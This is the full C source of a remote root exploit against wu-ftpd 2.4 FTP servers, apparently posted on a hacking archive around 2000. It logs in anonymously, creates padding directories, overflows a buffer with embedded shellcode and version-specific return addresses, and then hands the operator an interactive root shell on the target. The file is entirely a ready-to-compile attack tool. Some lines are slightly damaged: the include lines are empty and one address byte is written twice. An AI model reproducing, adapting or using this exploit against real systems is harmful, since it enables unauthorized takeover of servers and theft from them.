/* * wu-ftpd 2.4.* remote root exploit - anathema * * Exploits the overflow vulnerability present in all wu-ftpd 2.4 * releases (and Academ beta12-18) * * Compilation: * gcc ftpd.c -o ftpd * * Usage: * ./ftpd dst_host|ip [-s src_prt] [-u user] [-p pass] [-c initial dir] * * Example usage: * ./ftpd host -- anonymous login and /incoming dir * ./ftpd host -c /write -- anonymous login and /write dir * ./ftpd host -u xx -p zz -- login of `xx` and pass of `zz`, /incoming * ./ftpd host -s 53 -- source port of 53 (misconfigured firewalls?) */ #include #include #include #include #include #include #include #include #include #include #include #include #define TST_TIMEOUT 25 #define PAD_BYTES 193 #define INIT_PAD 4 #define LAST_PAD 147 #define RETPOS 202 char c0de[] = "\x29\xc0\x29\xdb\x29\xc9\xb0\x46\xcd\x80\xeb\x60\x5e\x8d\x5e\x0f\x39\xf3\x7c" "\x06\x80\x03\x04\x4b\xeb\xf6\x29\xc0\x88\x46\x01\x88\x46\x08\x88\x46\x10\x8d" "\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e\x29\xc9\xb0\x27\xcd\x80\x29\xc0\xb0\x3d\xcd" "\x80\x29\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x29\xc0\x88\x46\x03\x8d\x5e\x02\xb0" "\x3d\xcd\x80\x8d\x5e\x09\x89\x5b\x08\x29\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b" "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80\xe8\x9b\xff\xff\xff\xff" "\xff\xff\x3d\x3d\x2a\x2a\x2b\x2a\x2a\x2b\x3d\x2b\x5e\x65\x6a\x2b\x6f\x64"; struct types { int num; u_long addr; int align; u_char *banner; }; struct types type_list[] = { {1, 0xbfffe242, 0, "wu-2.4.2-academ[BETA-17]"}, {2, 0xbfffe2f0, 4, "wu-2.4.2-academ[BETA-16]"}, {0, 0, 0, 0} }; u_long resolve_host(u_char *); void send_recv(u_char *, int, u_char *, u_char *, ...); void check_exploit(int); void shellz(int); void login_ftp(int, u_char *, u_char *, u_char *); void exploit(int, u_char *, u_long, int); u_long resolve_host(u_char *host) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host)) == -1) { host_ent = gethostbyname(host); if (!host_ent) return((u_long)0); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); } return(addr.s_addr); } void send_recv(u_char *msg, int sock, u_char *expect, u_char *snd_buf, ...) { u_char buf[8192] = {0}; va_list list; fprintf(stderr, "%s", msg); va_start(list, snd_buf); vsnprintf(buf, sizeof(buf) - 1, snd_buf, list); write(sock, buf, strlen(buf)); va_end(list); memset(buf, 0, sizeof(buf)); recv(sock, buf, sizeof(buf) - 1, 0); if (strstr(buf, expect)) return; else { /* exception to the rule */ if ((strstr(buf, "553 ")) && !strcmp(expect, "257 ")) return; fprintf(stderr, "Invalid response.\n\n"); exit(-1); } /* NOTREACHED */ } void check_exploit(int sock) { struct timeval time_val; u_char tmp[4096] = {0}; fd_set fds; int flag; fprintf(stderr, "\nTesting to see if exploitation was successful.\n"); flag = fcntl(sock, F_GETFL, NULL); flag |= O_NONBLOCK; fcntl(sock, F_SETFL, flag); fprintf(stderr, "It'z time to w8\n"); fflush(stderr); time_val.tv_usec = 0; time_val.tv_sec = TST_TIMEOUT; FD_ZERO(&fds); FD_SET(sock, &fds); write(sock, "id;\n", 4); if ((select(sock+1, &fds, NULL, NULL, &time_val)) == -1) { perror("select"); exit(-1); } recv(sock, tmp, sizeof(tmp) - 1, 0); if (!strstr(tmp, "uid=")) { fprintf(stderr, "Huh. Exploitation unsuccessful.\n"); exit(0); } fprintf(stderr, "\nExploit successful!\n\n"); flag = fcntl(sock, F_GETFL, NULL); flag ^= O_NONBLOCK; fcntl(sock, F_SETFL, flag); } void shellz(int sock) { u_char tmp[8192] = {0}; fd_set fds; sleep(2); check_exploit(sock); write(sock, "id; uname -a; cd /;\n", 20); for (;;) { FD_ZERO(&fds); FD_SET(0, &fds); /* STDIN_FILENO */ FD_SET(sock, &fds); if (select(255, &fds, NULL, NULL, NULL) == -1) { perror("select"); exit(-1); } memset(tmp, 0, sizeof(tmp)); if (FD_ISSET(sock, &fds)) { if (recv(sock, tmp, sizeof(tmp) - 1, 0) == -1) { fprintf(stderr, "Connection closed by foreign host.\n"); exit(0); } fprintf(stderr, "%s", tmp); } if (FD_ISSET(0, &fds)) { read(0, tmp, sizeof(tmp) - 1); write(sock, tmp, strlen(tmp)); } } /* NOTREACHED */ } void login_ftp(int sock, u_char *user, u_char *pass, u_char *cwd) { u_char r_buf[4096] = {0}; u_long addr = 0; int i = 0, align = 0; recv(sock, r_buf, sizeof(r_buf) - 1, 0); if (!(strstr(r_buf, "220 "))) { fprintf(stderr, "Invalid banner (is this an FTP server?)\n"); exit(-1); } for (;;) { if (!type_list[i].num) { fprintf(stderr, "Non-vulnerable FTP server, aborting.\n"); exit(0); } if (strstr(r_buf, type_list[i].banner)) { fprintf(stderr, "Vulnerable wu-ftpd found (%s), exploiting..\n", type_list[i].banner); addr = type_list[i].addr; align = type_list[i].align; goto xpl; } i++; } xpl: /* * Login, and change to the initial directory specified. */ send_recv("\n[ login ] : Logging in (sending USER command).. ", sock, "331 ", "USER %s\n", user); send_recv("\n[ login ] : Logging in (sending PASS command).. ", sock, "230 ", "PASS %s\n", pass); send_recv("\n[ initial ] : Changing to writeable directory.. ", sock, "250 ", "CWD %s\n", cwd); /* * Test for writeability. */ send_recv("\n[ initial ] : Testing for ability to make directories.. ", sock, "257 ", "MKD .xpl\n"); send_recv("\n[ initial ] : Testing for ability to remove directories.. ", sock, "250 ", "DELE .xpl\n"); /* * Exploit. */ exploit(sock, cwd, addr, align); /* NOTREACHED */ } void exploit(int sock, u_char *init_dir, u_long addr, int align) { u_char buf[4096] = {0}; int i = 0, lpad = LAST_PAD, ret = RETPOS; fprintf(stderr, "\n\nAligning by %d bytes (%d + %d == %d)\n", align, lpad, align, lpad + align); lpad += align; fprintf(stderr, "Making initial padding directories.. "); memset(buf, 0x41, PAD_BYTES); for (i = 0; i < INIT_PAD; i++) { send_recv("", sock, "257 ", "MKD %s\n", buf); send_recv("", sock, "250 ", "CWD %s\n", buf); } /* * Create the last padding directory. Aligned for your happiness. */ lpad -= strlen (init_dir); fprintf(stderr, "\n\nAdjusting alignment (%d - %d == %d)\n", lpad + strlen(init_dir), strlen(init_dir), lpad); if ((strlen(init_dir) == 1) && init_dir[0] == '/') lpad++; memset(buf, 0, sizeof(buf)); memset(buf, 0x41, lpad); send_recv("", sock, "257 ", "MKD %s\n", buf); send_recv("", sock, "250 ", "CWD %s\n", buf); /* * Overflow. */ memset(buf, 0, sizeof(buf)); memset(buf, 0x90, ret - strlen(c0de)); memcpy(buf + ret - strlen(c0de), c0de, strlen(c0de)); buf[ret++] = (addr & 0xff); buf[ret++] = (addr >> 8) & 0xff; buf[ret++] = (addr >> 16) & 0xff; buf[ret++] = (addr >> 16) & 0xff; buf[ret++] = (addr >> 24) & 0xff; send_recv("", sock, "", "MKD %s\n", buf); send_recv("", sock, "", "DELE %s\n", buf); shellz(sock); } int create_socket(u_long dst_ip, u_short src_prt) { struct sockaddr_in sin; int sock, one = 1, *o_ptr = &one; if (src_prt && (src_prt < 1024)) { if (getuid() && geteuid()) { fprintf(stderr, "Inadequate privileges\n"); exit(-1); } } sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } if (src_prt) { struct sockaddr_in min; min.sin_family = AF_INET; min.sin_port = htons(src_prt); min.sin_addr.s_addr = INADDR_ANY; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_ptr, sizeof(one)) == -1) { perror("setsockopt SO_REUSEADDR"); exit(-1); } if (bind(sock, (struct sockaddr *)&min, sizeof(min)) == -1) { perror("bind"); exit(-1); } } sin.sin_family = AF_INET; sin.sin_port = htons(21); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1) { perror("connecting to ftp server"); exit(-1); } return (sock); } void usage(u_char *nomenclature) { fprintf(stderr, "usage:\t%s dst_host|ip [-s src_prt] [-u user] [-p pass] [-d dir]\n", nomenclature); exit(0); } int main(int argc, char **argv) { u_long dst_ip = 0; u_short src_prt = 0; u_char *user = "anonymous"; u_char *pass = "-broken@shattered.hopes"; u_char *init_dir = "/incoming"; int sock, opt; if (argc < 2) { usage(argv[0]); /* NOTREACHED */ } dst_ip = resolve_host(argv[1]); if (!dst_ip) { fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]); exit(-1); } while ((opt = getopt(argc, argv, "s:u:p:d:")) != EOF) { switch (opt) { case 's': src_prt = (u_short)atoi(optarg); break; case 'u': user = optarg; break; case 'p': pass = optarg; break; case 'd': init_dir = optarg; break; default: usage(argv[0]); /* NOTREACHED */ } } sock = create_socket(dst_ip, src_prt); login_ftp(sock, user, pass, init_dir); /* NOTREACHED */ } /* www.hack.co.za [2000]*/